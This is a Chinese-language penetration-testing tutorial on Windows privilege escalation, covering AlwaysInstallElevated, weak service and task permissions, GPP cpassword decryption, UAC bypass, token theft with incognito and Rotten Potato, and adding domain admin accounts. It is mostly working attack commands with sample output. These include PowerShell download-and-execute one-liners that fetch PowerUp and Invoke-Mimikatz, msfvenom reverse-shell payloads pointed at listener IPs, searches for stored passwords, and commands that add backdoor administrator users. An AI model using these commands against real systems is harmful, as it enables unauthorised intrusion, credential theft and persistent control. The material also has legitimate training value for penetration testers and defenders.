组策略——计算机配置——管理模板——Windows组件——Windows Installer——永远以高特权进行安装:选择启用。 组策略——用户配置——管理模板——Windows组件——Windows Installer——永远以高特权进行安装:选择启用。 #设置完毕后,会在注册表的以下两个位置自动创建键值1 HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
-
方法2,命令行
#也可以直接使用命令行开启这两项注册表。 reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1 reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1 #然后使用 reg 查看这两项的键值,0x1 表示处于开启状态。 reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
下面对这种危险配置进行利用:
使用PowerUp进行利用
可以使用 PowerUp.ps1 脚本里的Get-RegistryAlwaysInstallElevated 模块
来检查相关注册表是否被设置
#在 PowerShell 中导入并执行脚本
Import-Module .\PowerUp.ps1
Get-RegistryAlwaysInstallElevated
如果 PowerShell 由于处在受限模式以至于无法导入脚本,可以使用 -exec bypass 进行绕过
powershell.exe -exec bypass -command "&{Import-Module .\PowerUp.ps1;Get-RegistryAlwaysInstallElevated}"
或者使用下载执行的方式
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.3.61:8000/PowerUp.ps1'); Get-RegistryAlwaysInstallElevated"
返回为 True,表示相关注册表被设置了,也就意味着 MSI 文件是以 SYSTEM 权限运行的
运行 PowerUp 的 Write-UserAddMSI 模块
powershell.exe -exec bypass -command "&{Import-Module .\PowerUp.ps1;Write-UserAddMSI}"
运行完后,会在当前目录下生成一个 UserAdd.msi 程序,此时以普通用户权限执行该 MSI 程序就会创建一个管理员账户
直接双击或者命令行启动该 MSI 程序。
msiexec /q /i UserAdd.msi
msiexec 参数介绍:
/quiet:安装过程中禁止向用户发送消息
/qn:不使用GUI
/q:隐藏安装界面
/i:安装程序
使用MSF进行利用
MSF 中可以使用 exploit/windows/local/always_install_elevated 模块
,直接获取 SYSTEM 权限
use exploit/windows/local/always_install_elevated
set session 1
run
除了上面的操作外,还可以使用 msfvenom 生成 MSI 文件,从而以 SYSTEM 权限执行任意命令。
msfvenom -p windows/exec CMD=<命令> -f msi > calc.msi
或者以 SYSTEM 权限上线
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.214.65 lport=4444 –f msi -o shell.msi
使用MSI Wrapper进行利用
MSI Wrapper是一个操作简单直观的MSI安装包生成工具,可以使用该工具制作一个包含木马的MSI安装包。
下载地址:https://www.exemsi.com/download/
设置运行时提升权限
之后 Application Id 随便选一个,其他操作默认就行,然后将 MSI 文件拷贝到目标主机上
开启攻击主机的监听,双击 MSI 文件之后就可以看到回连的会话已经是 SYSTEM 权限了。
计划任务利用
使用以下命令可以看到当前计算机的计划任务
schtasks /query /fo list /v
使用AccessChk检查目录权限
AccessChk 是微软官方提供的一款工具,因此往往不会引起杀软的告警,AccessChk 可用来进行一些系统或程序的高级查询、管理和故障排除工作。
AccessChk 下载地址:https://download.sysinternals.com/files/AccessChk.zip
在第一次使用时,会弹出许可协议对话框,可以使用 /accepteula 进行关闭
.\accesschk.exe /accepteula
执行以下命令,查看指定目录的权限配置情况:
.\accesschk.exe -dqv "C:\Program Files"
如果攻击者以高权限运行的任务所在目录有写权限,就可以使用恶意程序覆盖原来的程序,这样计划任务下次运行时,就会以高权限运行恶意程序。
#列出每个驱动器下所有权限配置不当的文件夹
.\accesschk.exe -uwdqs Users c:\
.\accesschk.exe -uwdqs "Authenticated Users" c:\
#列出每个驱动器下所有权限配置不当的文件
.\accesschk.exe -uwqs Users c:\*.*
.\accesschk.exe -uwqs "Authenticated Users" c:\*.*
使用icacls检查目录权限
icacls 是 Windows 操作系统自带的命令行工具,从 Windows Vista 和 Windows Server 2008 开始引入。它是一种用于管理和修改文件、文件夹和对象权限的高级访问控制工具
#icacls命令的常用参数
/grant:授予指定用户或组的权限。
/deny:拒绝指定用户或组的权限。
/remove:移除指定用户或组的权限。
/inheritance:控制继承设置。
/reset:重置对象的权限为默认设置。
/setintegritylevel:设置对象的完整性级别。
/save:将对象的权限保存到文件。
/restore:从文件中恢复对象的权限。
/verify:验证对象的权限是否正确。
#检查目录权限
icacls "目录"
#icacls "C:\Program Files"
#icacls权限标识符
F - 完全访问
M - 修改访问权限
RX -读取和执行访问权限
R - 只读访问
W - 只写访问
D - 删除
RC - 读取控制(读取权限)
WDAC - 写入 DAC(更改权限)
WO - 写入所有者(获取所有权)
S - 同步
AS - 访问系统安全性
MA - 允许的最大值
GR - 泛型读取
GW - 泛型写入
GE - 泛型执行
GA - 泛型全部
RD - 读取数据/列表目录
WD - 写入数据/添加文件
AD - 追加数据/添加子目录
REA - 读取扩展属性
WEA - 写入扩展属性
X - 执行/遍历
DC - 删除子级
RA - 读取属性
WA - 写入属性
(I) - 继承。 ACE 继承自父容器。
(OI) - 对象继承。 此容器中的对象将继承此 ACE。 仅适用于目录。
(CI) - 容器继承。 此父容器中的容器将继承此 ACE。 仅适用于目录。
(IO) - 仅继承。 ACE 继承自父容器,但不适用于对象本身。 仅适用于目录。
(NP) - 不传播继承。 ACE 由容器和对象从父容器继承,但不会传播到嵌套容器。仅适用于目录。
# ACE,即访问控制项
#在Windows操作系统中常见的用户和用户组的名称
NT SERVICE\TrustedInstaller:是Windows操作系统中的一个特殊帐户,用于安装、卸载和修改Windows系统文件和注册表项。它拥有很高的权限,可以访问系统的关键部分。
NT AUTHORITY\SYSTEM:是一个内置的本地系统帐户,它在Windows系统中具有最高级别的权限。该帐户用于操作系统的核心功能,并可以访问系统上的所有资源。
BUILTIN\Administrators:是一个内置的本地管理员组,包含具有系统管理权限的用户。该组中的用户可以执行系统范围的操作,如安装软件、更改系统设置和管理其他用户帐户等。
BUILTIN\Users:是一个内置的本地用户组,包含所有在计算机上登录的用户。该组通常具有较低的权限,并受到一些安全限制,以防止对系统造成损害。
CREATOR OWNER:是一个特殊的安全标识符(SID),在文件和文件夹的安全设置中使用。它代表文件或文件夹的创建者,并允许该创建者对其拥有完全的控制权限,而其他用户可能具有不同的权限。
Everyone:指所有用户
补充两个术语:
- ACL(Access Control List)
- ACE(Access Control Entry),即访问控制项
举个例子,“Everyone:(OI)(CD(E)”的意思是,对该文件夹,用户有读、写、删除其下文件、删除其子目录的权限。
还有一个和icacls相似的命令,即cacls,icacls的出现是为了代替cacls
#cacls的使用和icacls类似
cacls "C:\Program Files"
确认目标机器中存在此漏洞后,把要上传的程序重命名并放置在存在此漏洞且可写的目录下,执行如下命令,尝试重启服务
sc stop service_name
sc start service_name
sc命令是Windows操作系统中的一个命令行工具,用于管理和配置Windows服务。它允许你查看、创建、修改、启动、停止和删除系统中的服务。以下是一些常用的sc命令参数和用法:
#查询服务信息
sc query <servicename>
#列出所有的服务及其详细信息,键入以下命令之一
sc.exe query
sc.exe query type= service
#启动服务
sc start <servicename>
#停止服务
sc stop <servicename>
#暂停服务
sc pause <servicename>
#恢复服务
sc continue <servicename>
#创建服务
#这个命令用于创建一个新的服务,你需要指定服务的名称、可执行文件路径以及启动类型(自动、手动或禁用)。
sc create <servicename> [binPath= ] start= [auto|demand|disabled]
#删除服务
sc delete <servicename>
配置文件信息泄露
管理员在对内网中多台机器进行环境配置时,通常不会一台一台的配置,往往会采用脚本批量化的方式。
在这个过程中,可能就会有一些包含安装配置信息的文件,比如在这些文件中可能就包含了账号、密码,常见的安装配置文件路径如下:
C:\sysprep.inf
C:\syspreg\sysprep.xml
C:\Windows\system32\sysprep.inf
C:\windows\system32\sysprep\sysprep.xml
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\System32\Sysprep\Unattend.xml
C:\Windows\System32\Sysprep\Panther\Unattend.xml
或者直接全局搜索 Unattend.xml 文件
dir /b /s C:\Unattend.xml
也可以直接使用 MSF 的 post/windows/gather/enum_unattend 模块
use post/windows/gather/enum_unattend
set session 1
run
其他的一些敏感文件查询指令
dir C:\ /s /b /c | findstr /sr \*password\*
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
PowerUp
PowerUp 可以用来寻找目标中权限配置不当的服务。
旧版下载地址:https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerUp/PowerUp.ps1
新版下载地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
#在 PowerShell 中导入并执行脚本
Import-Module .\PowerUp.ps1
Invoke-AllChecks
如果 PowerShell 由于处在受限模式以至于无法导入脚本,可以使用以下命令绕过
powershell.exe -exec bypass -command "&{Import-Module .\PowerUp.ps1;Invoke-AllChecks}"
或者直接使用下载执行
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"
#powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.3.61:8000/PowerUp.ps1'); Invoke-AllChecks"
#注意DownloadString()方法也可以加载本地脚本,如下就是加载位于c:\PowerUp.ps1的脚本
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('c:\PowerUp.ps1'); Invoke-AllChecks"
PS C:\Users\teamssix\Desktop> powershell.exe -exec bypass -command "&{Import-Module .\PowerUp.ps1;Invoke-AllChecks}"
[*] Running Invoke-AllChecks
[*] Checking if user is in a local group with administrative privileges...
[+] User is in a local group that grants administrative privileges!
[+] Run a BypassUAC attack to elevate privileges to admin.
[*] Checking for unquoted service paths...
[*] Checking service executable and argument permissions...
ServiceName : MongoDB
Path : C:\Web\mongodb\bin\mongod.exe --auth --config C:\Web\mongodb\mongod.conf --s
ervice
ModifiableFile : C:\Web\mongodb\mongod.conf
StartName : LocalSystem
AbuseFunction : Install-ServiceBinary -ServiceName 'MongoDB'
由于结果可能比较长,因此也可以将其保存到 txt 文件里,方便查看
powershell.exe -exec bypass -command "&{Import-Module .\PowerUp.ps1;Invoke-AllChecks | Out-File -Encoding ASCII result.txt}"
PowerUp 会列出了可能存在问题的所有服务,并在 AbuseFunction 部分直接给出利用方式,Path 值为该服务的可执行程序的路径
从检查的结果可以看出 MongoDB 服务存在漏洞,利用 Install-ServiceBinary 模块,通过 PowerUp 利用该处权限配置不当添加管理员用户。
powershell.exe -exec bypass -command "&{Import-Module .\PowerUp.ps1;Install-ServiceBinary -ServiceName 'MongoDB' -UserName test -Password Passw0rd}"
PS C:\Users\teamssix\Desktop> powershell.exe -exec bypass -command "&{Import-Module .\PowerUp.ps1;Install-ServiceBinary -ServiceName 'MongoDB' -UserName test -Password Passw0rd}"
ServiceName ServicePath Command BackupPath
----------- ----------- ------- ----------
MongoDB C:\Web\mongodb\bin\mongod... net user test Passw0rd /ad... C:\Web\mongodb\bin\mongod...
重启系统,查看用户,发现 test 已经被添加到管理员组了
PS C:\Users\teamssix\Desktop> net user test
用户名 test
全名
……
本地组成员 *Administrators *Users
全局组成员 *None
命令成功完成。
Metasploit
在 MSF 中,先看下已上线主机的权限
meterpreter > getuid
Server username: TEAMSSIX\dev
MSF 中对应服务权限配置不当的利用模块是exploit/windows/local/service_permissions
利用步骤如下:
use exploit/windows/local/service_permissions
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.7.1
set lport 4444
set session 1
run
#注意,exploit/windows/local/service_permissions模块还有一个配置项,叫做“AGGRESSIVE”,可以利用目标机器上每一个有缺陷的服务。该配置项默认为false。表示在第一次提权成功后就会停止工作
可以看到会话直接被提升到了 SYSTEM 权限。
service_permissions模块使用两种方法来获得System权限:如果meterpreter以管理员权限运行,该模块会尝试创建并运行一个新的服务;如果当前权限不允许创建服务,该模块会判断哪些服务的文件或者文件夹的权限有问题,并允许对其进行劫持。在创建服务或者劫持已经存在的服务时,该模块会创建一个可执行程序,其文件名和安装路径都是随机的。
Empire
Empire内置了PowerUp的部分模块用于系统提权,主要有Windows错误系统配置漏洞、Windows Services漏洞、AlwaysInstallElevated漏洞等8种提权方式。输入“usemodule privesc/powerup”命令,然后按“Tab”键,查看PowerUp的模块列表
下面以AllChecks模块为例,AllChecks模块用于查找系统中的漏洞。和PowerSploit下PowerUp中的Invoke-AllChecks模块一样,AlIChecks模块可用于执行脚本、检查系统漏洞
usemodule privesc/powerup/allchecks
execute
AllChecks模块的应用对象如下:
- 没有被引号引起来的服务的路径
- ACL配置错误的服务(攻击者通常通过“service_ *”利用它)
- 服务的可执行文件的权限设置不当(攻击者通常通过“service_exe_ *”利用它)
- Unattend.xml文件
- 注册表键AlwaysInstallElevated
- 如果有Autologon凭证,都会留在注册表中
- 加密的 web.config 字符串和应用程序池的密码
- %PATH%.DLL的劫持机会(攻击者通常通过write_dllhijacker 利用它)
组策略首选项提权利用
SYSVOL是活动目录里面的一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控制器之间进行复制。SYSVOL文件夹是在安装活动目录时自动创建的,主要用来存放登录脚本、组策略数据及其他域控制器需要的域信息等。SYSVOL在所有经过身份验证的城用户或者域信任用户具有读权限的活动目录的域范围内共享。整个SYSVOL目录在所有的域控制器中是自动同步和共享的,所有的域策略均存放在C:\Windows\SYSVOL\DOMAIN\Policies\目录中。
在一般的域环境中,所有机器都是脚本化批量部署的,数据量通常很大。为了方便地对所有的机器进行操作,网络管理员往往会使用域策略进行统一的配置和管理。大多数组织在创建域环境后,会要求加入域的计算机使用域用户密码进行登录验证。为了保证本地管理员密码的安全性,这些组织的网络管理员往往会修改本地管理员密码。尽管如此,安全问题依旧存在。通过组策略统一修改的密码,虽然强度有所提高,但所有机器的本地管理员密码是相同的。攻击者获得了一台机器的本地管理员密码,就相当于获得了整个域中所有机器的本地管理员密码
管理员在域中新建一个组策略后,系统会自动在 SYSVOL 目录中生成一个 XML 文件(如果配置组策略的过程中输入了密码,密码就会保存在其中)。该文件中保存了该组策略更新后的密码,该密码使用 AES-256 算法,但 2012 年微软公布了该密码的私钥(https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be),也就是说任何人都可以对其进行解密。
常见的组策略首选项(Group Policy Preferences,GPP)列举如下,这些组策略首选项文件中会包含cpassword:
- 映射驱动器(Drives.xml)
- 创建本地用户(unattend.xml)
- 数据源(DataSources.xml)
- 打印机配置(Printers.xml)
- 创建/更新服务(Services.xml)
- 计划任务(ScheduledTasks.xml)
- 更改本地管理员密码
- 组策略首选项(Groups.xml)
由于gpp十分不安全,所以在Windows server 2012及以后的版本中,微软就抛弃了这种方式。
1.查找包含cpassword的XML文件
浏览 SYSVOL 文件夹,手动查找包含 cpassword 的 XML 文件
或者使用 findstr 自动搜索包含 cpassword 的 XML 文件
findstr /s /i "cpassword" C:\Windows\SYSVOL\*.xml
2.解密cpassword密文
可以使用以下工具和脚本从组策略首选项XML文件中收集和解密密码文件
- Gpprefdecrypt.py【Python脚本(仅用于解密):https://github.com/Jici-Zeroten/ScriptWarehouse/blob/main/gpp-encrypt-decrypt/Gpprefdecrypt.py】
python2.7 Gpprefdecrypt.py Wdkeu1drbxqPJm7YAtPtwBtyzcqO88hJUBDD2eseoY0
还有一个PowerShell版本的Gpprefdecrypt.ps1【https://github.com/Jici-Zeroten/ScriptWarehouse/tree/main/gpp-encrypt-decrypt】
此外,kali中自带的命令gpp-decrypt
也可以对其进行解密
- Get-GPPPassword.ps1【PowerSploit 项目中提供了 Get-GPPPassword.ps1 脚本。https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1】
#该脚本可在域内主机上执行,能够自动查询共享文件夹\SYSVOL中的文件,还原出所有明文密码
#直接远程下载脚本执行
PowerShell.exe -Exec Bypass -C "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword"
#如果无法下载可以使用 github 代理
PowerShell.exe -Exec Bypass -C "IEX(New-Object Net.WebClient).DownloadString('https://ghproxy.com/https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword"
#或者下载到本地执行也行
Import-Module .\Get-GPPPassword.ps1
Get-GPPPassword
#如果 PowerShell 由于处在受限模式以至于无法导入脚本,可以使用以下命令绕过。
powershell.exe -exec bypass -command "&{Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword}"
- 使用MSF
MSF也有一个可以自动查找cpassword的后渗透模块,即post/windows/gather/credentials/gpp模块
use post/windows/gather/credentials/gpp
set session 1
run
- 使用Empire查找cpassword
usemodule privesc/gpp
info
execute
组策略首选项提权的防御措施
绕过UAC提权利用(bypassUAC)
如果计算机的操作系统版本是Windows Vista或更高,在权限不够的情况下,访问系统磁盘的根目录(例如C:\)、Windows目录、Program Files目录,以及读、写系统登录数据库(Registry)的程序等操作,都需要经过UAC(User Account Control,用户账户控制)的认证才能进行。
UAC全称User Account Control,存在于Windows Vista及更高的操作系统版本中。UAC 与 UNIX 中的 sudo 工作机制十分相似
UAC基本介绍:UAC是微软为提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或者在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改。在Windows Vista及更高版本的操作系统中,微软设置了安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限;中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁时造成的损害最小。
需要UAC的授权才能进行的操作:
- 配置Windows Update
- 添加/删除用户
- 更改账户类型
- 更改UAC的设置
- 安装ActiveX
- 安装/卸载程序
- 安装设备驱动程序
- 将文件移动/复制到Program Files或Windows目录
- 查看其他用户的文件夹
UAC有四种设置要求:
- 始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户。
- 仅在应用尝试更改我的计算机时通知我:这是UAC的默认设置。当本地Windows要求使用高级别的权限时,不会通知用户。但是,第三方程序要求使用高级别的权限时,会提示本地用户
- 仅在应用尝试更改计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但是在提示用户时不降低用户的亮度
- 从不通知:当用户为系统管理员时,所有程序都会以最高权限运行。
使用MSF绕过UAC进行提权
可绕过UAC的模块:
exploit/windows/local/bypassuac模块
,进行提权时,当前用户必须在管理员组中,且UAC必须为默认设置(即“仅在程序试图更改我的计算机时通知我”)。该模块在windows 32位和64位下都有效
msf > use exploit/windows/local/bypassuac
msf exploit(bypassuac) > set session 1
msf exploit(bypassuac) > run
meterpreter > getsystem
meterpreter > getuid
当bypassuac模块运行时,会在目标机器上创建多个文件,这些文件可能会被杀毒软件识别
exploit/windows/local/bypassuac_injection模块
,会直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,可以降低被杀软查杀的概念
use exploit/windows/local/bypassuac_injection
set session 4
run
getsystem
getuid
exploit/windows/local/ask模块
,会创建一个可执行文件,目标机器会运行一个发起提升权限请求的程序,提示用户是否继续。该模块实际上只是以高权限重启一个返回式shellcode,并没有绕过UAC,会触发系统UAC,受害机器有提示,提示用户是否要运行,如果用户选择“yes”,就可以程序返回一个高权限meterpreter shell
use /exploit/windows/local/ask
set session 1
run
#执行run命令之后,会在目标机器上弹出UAC对话框
用户点击“yes”后,会返回一个高权限meterpreter shell
getsystem
getuid
要想使用该模块进行提权,当前用户必须在管理员组中,对UAC的设置则没有要求。在使用该模块时,会使用EXE::Custom选项创建一个可执行文件(这个文件最好进行免杀处理,容易被杀软检测)。
exploit/windows/local/bypassuac_fodhelper模块
(通过FodHelper注册表项绕过)exploit/windows/local/bypassuac_eventvwr模块
(通过Eventvwr注册表项绕过)exploit/windows/local/bypassuac_comhijack模块
(COM处理程序劫持)exploit/windows/local/bypassuac_vbs模块
使用Nishang中的Invoke-PsUACme模块绕过
Invoke-PsUACme模块使用来自UACME项目的DLL绕过UAC
影响版本涉及Windows 7/2008/8/2012/Vista X86/64版本。Win 10及以上版本自带的wsua程序由于不再支持/extract参数,故不再适用
Import-Module .\Invoke-PsUACme.ps1
#使用Sysgrep方法执行默认Payload
Invoke-PsUACme -Verbose
#powershell -nop -exec bypass -c "& {Import-Module .\Invoke-PsUACme.ps1; Invoke-PsUACme -Verbose}"
#使用oobe方法开执行默认的Payload
Invoke-PsUACme -method oobe -Verbose
#powershell -nop -exec bypass -c "& {Import-Module .\Invoke-PsUACme.ps1; Invoke-PsUACme -method oobe -Verbose}"
#默认的payload仅仅检查是否绕过成功
#使用-Payload参数,可以自行指定要执行的Payload
Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YourEncodedPayload"
#powershell -nop -exec bypass -c "& {Import-Module .\Invoke-PsUACme.ps1; Invoke-PsUACme -method oobe -Payload 'powershell -windowstyle hidden -e YourEncodedPayload'}"
#Invoke-PsUACme -method oobe -Payload "powershell -noexit -c Get-Process"
-Payload为自定义要执行的程序或代码段
-Verbose显示程序运行过程
-method为bypass的方法,可选的方法有:sysprep、oobe、ActionQueue、migwiz、cliconfg、winsat、mmc
无论为-Paylaod参数指定了什么,它都会默认在C:\Windows\Temp\cmd.bat中结束(如果要更改,需要在DLL中改变批处理文件的路径之后,再使用-PayloadPath参数改变它)。此外,使用-CustomDll64或-CustomDLL32参数可以自定义DLL文件
案例演示1:
默认的payload仅仅检查是否绕过成功
案例演示2:
Invoke-PsUACme模块并非运行cmd.exe,而是我们告诉DLL从C:\Windows\Temp执行cmd.bat。这个cmd.bat中包含了我们将在目标机器上执行的payload
通过bypass UAC我们可以通过普通的cmd抓到管理员密码
PS C:\UAC> . .\Invoke-PsUACme.ps1
PS C:\UAC> Invoke-PsUACme -Payload "powershell -noexit IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz"
通过bypass UAC让meterpreter获得更高的权限
#生成payload
sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=8889 -f psh-reflection
#将输出文件重命名为psh.ps1,上传到目标机器
#msf开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost x.x.x.xset lport 8889
run
Win10 Bypass UAC
Evi1cg师傅修改了一个使用远程注入方式Bypass UAC的powersell脚本以支持Win10
脚本地址:https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/invoke-BypassUAC.ps1
#使用方式与nishang不同,并没有回显
. .\invoke-BypassUAC.ps1
invoke-BypassUAC -Command 'net user 1 "Password123!" /add'
除了使用Evi1cg师傅的脚本,UACME也很好的支持win10,使用方式如下
akagi32.exe 1
akagi64.exe 3
#akagi32 1 c:\windows\system32\calc.exe
#akagi64 3 c:\windows\system32\cmd.exe
UACME下载地址:hfiref0x/UACME: Defeating Windows User Account Control (github.com)
使用Empire中的模块绕过
可绕过UAC的模块:
- bypassuac模块
usemodule privesc/bypassuac
#设置监听器参数
set Listeners test
execute
#会得到一个新的反弹shell
agents
也可以直接找到Empire/data/module_source/privesc路径下的Invoke-BypassUAC.ps1上传到目标靶机上执行
Import-Module Invoke-BypassUAC.ps1
Invoke-BypassUAC -Command 'net user www$ "qax666@11!" /add && net localgroup administrators www$ /add"' -Verbose
或
Invoke-BypassUAC -PayloadPath .\payload.dll -Verbose
- bypassuac_wscript模块
该模块的大致工作原理是,使用C:\Windows\wscript.exe执行Payload,即绕过UAC,以管理员权限执行Payload。该模块只适用于操作系统为Windows7的机器,尚没有对应的补丁,部分杀毒软件会对该模块的运行进行提示。会话中,带星号的agents就是提权成功的
usemodule privesc/bypassuac_wscript
set Listeners test
execute
agents
针对绕过UAC提权的防御措施
在企业网络环境中,防止绕过 UAC 的最好的方法是不让内网机器的使用者拥有本地管理员权限,从而降低系统遭受攻击的可能性。
在家庭网络环境中,建议使用非管理员权限进行日常办公和娱乐等活动。使用本地管理员权限登录的用户,要将UAC 设置为“始终通知”或者删除该用户的本地管理员权限(这样设置后,会像在WindowsVista 中一样,总是弹出警告)。
令牌窃取
令牌(Token)是指系统中的临时密钥,相当于账户和密码,用于决定是否允许当前请求及判断当前请求是属于哪个用户的。获得了令牌,就可以在不提供密码或其他凭证的情况下访问网络和系统资源。这些令牌将持续存在于系统中(除非系统重新启动)。
令牌的最大特点是随机性和不可预测性。一般的攻击者或软件都无法将令牌猜测出来。访问令牌(Access Token)代表访问控制操作主体的系统对象。密保令牌(Security Tolten)也叫作认证令牌或者硬件令牌,是一种用于实现计算机身份校验的物理设备,例如U盾。会话令牌(Session Token)是交互会话中唯一的身份标识符。
伪造令牌攻击的核心是Kerberos协议。Kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。Kerberos 协议的工作机制如下:
客户端请求证书的过程如下:
- 客户端向认证服务器发送请求,要求得到证书。
- 认证服务器收到请求后,将包含客户端密钥的加密证书发送给客户端。该证书包含服务器
Ticket(包含由服务器密钥加密的客户机身份和一份会话密钥)和一个临时加密密钥(又称为会话
密钥,Session Key )。当然,认证服务器也会向服务器发送一份该证书,使服务器能够验证登录的
客户端的身份。 - 客户端将 Ticket 传送给服务器。如果服务器确认该客户端的身份,就允许它登录服务器。
客户端登录服务器后,攻击者就能通过入侵服务器来窃取客户端的令牌。
使用MSF窃取令牌
假设已经获得了目标机器的 meterpreter Shell
。首先输入use incognito
命令,然后输入
list_tokens -u
命令,列出可用的令牌:
use incognito或者load incognito
list_tokens -u
这里看一下令牌的命名,以上面的METASPLOITABLE3\vagrant为例,“METASPLOITABLE3”是目标机器的主机名,“vagrant”是登录的用户名。再比如WIN-57TJ4B561MT\Administrator,"WIN-57TJ4B561MT"是目标机器的主机名,“Administrator”是登录的用户名。所以令牌的命名是“主机名\用户名”
Windows有两种类型的令牌:
Delegation Tokens
授权令牌(又称主令牌),它支持交互式登录(例如,可以通过远程桌面登录及访问)Impersonation Tokens
模拟令牌,它支持非交互式的会话。
令牌获取的数量取决于获取到 Shell 的权限等级。
两种token只在系统重启后清除,具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效。
如果已经获取到了 SYSTEM 权限的令牌,那么攻击者就可以伪造这个令牌,拥有对应的权限。
impersonate_token "NT AUTHORITY\SYSTEM"
#返回之前token(返回之前的权限)
#rev2self或者drop_token
可以看到我们已经通过伪造 SYSTEM 的令牌拿到 SYSTEM 权限了。
值得注意的是,如果令牌不加双引号,单斜杠\ 需要改成双斜杠 \\
才行,因为 \ 被当做转义字符处理
再举个例子,这个例子先使用bypass UAC进行提权,以获得更多令牌
再举一个有Impersonation Tokens Available的例子,一般是不会直接有Impersonation Tokens Available的,如下
但是,如果有Impersonation Tokens Available我们就可以窃取或者直接getsystem提权
如果进程有token,我们也可以使用steal_token pid
从进程窃取token
meterpreter > load incognito
#列举token
meterpreter > list_tokens -u
#token窃取
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
#上面是常规方法,如果进程有token,我们也可以使用steal_token pid窃取token,如下
#列一下进程
meterpreter > ps
#从进程窃取token
meterpreter > steal_token 1252
#返回之前token(返回之前的权限)
meterpreter > rev2self 或 drop_token
使用这种手法,我们甚至可以获得TI权限
TI (TrustedInstaller)是从Windows Vista开始出现的一个内置安全主体,在Windows中拥有修改系统文件权限,本身是一个服务,以一个账户组的形式出现。它的全名是:NT SERVICE\TrustedInstaller
。在前面的用户组介绍中已经提过。因为在Windows系统中即使获得了管理员权限和system权限,也不能修改系统文件,所以我们需要更进一步获得TI (TrustedInstaller)权限
我们使用MSF通过incognito获得TI权限,流程为:启动服务TrustedInstaller.exe
,然后利用incognito
获取TrustedInstaller.exe
的Token,具体如下
sc.exe start Trustedinstaller
回到Meterpreter
meterpreter > ps
找到TrustedInstaller.exe
的PID,窃取他的Token
meterpreter > load incognito
meterpreter > steal_token 1772
meterpreter > getuid
窃取成功
虽然UID相同,但是可以写入C:\Windows\servicing
,权限已经是TrustedInstaller,证明我们提权已经成功
使用Rotten Potato窃取令牌
Rotten Potato 直译过来就烂土豆的意思,如果目标中存在有效的令牌,就可以通过 Rotten Potato 模拟用户令牌实现提权。
方法1:
Rotten PotatoNG 项目地址:https://github.com/breenmachine/RottenPotatoNG
运行 RottenPotato.exe 直接弹出 SYSTEM 权限的 CMD 窗口,不需要用到 MSF。
方法2:
Rotten Potato项目地址:https://github.com/foxglovesec/RottenPotato
# 在攻击机上下载烂土豆
git clone https://github.com/foxglovesec/RottenPotato
# 回到Meterpreter Shell
# 加载模块
meterpreter > use incognito
# 列出可用令牌
meterpreter > list_tokens -u
# 上传烂土豆
meterpreter > upload /root/RottenPotato/rottenpotato.exe
# 执行
meterpreter > execuce -HC -f rottenpotato.exe
# 窃取token
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
meterpreter > getuid
添加域管理员
假设网络中设置了域管理进程,在 meterpreter
会话窗口中输入ps
命令,查看系统进程。找到域管理进程,并使用migrate
命令迁移到该进程。具体操作如下:
#在 meterpreter 控制台中输入 shell ,进入命令行界面
meterpreter > shell
# 查看进程,寻找域管理员的进程
ps
# 迁移进程
migrate <域管理员进程>
# 在域控主机上添加一个账户
# 添加域用户
net user test01 qqq@111 /add /domain
# 添加到管理员组
net group "domain admins" test01 /add /domain
# 查看域管理员
net group "domain admins" /domain
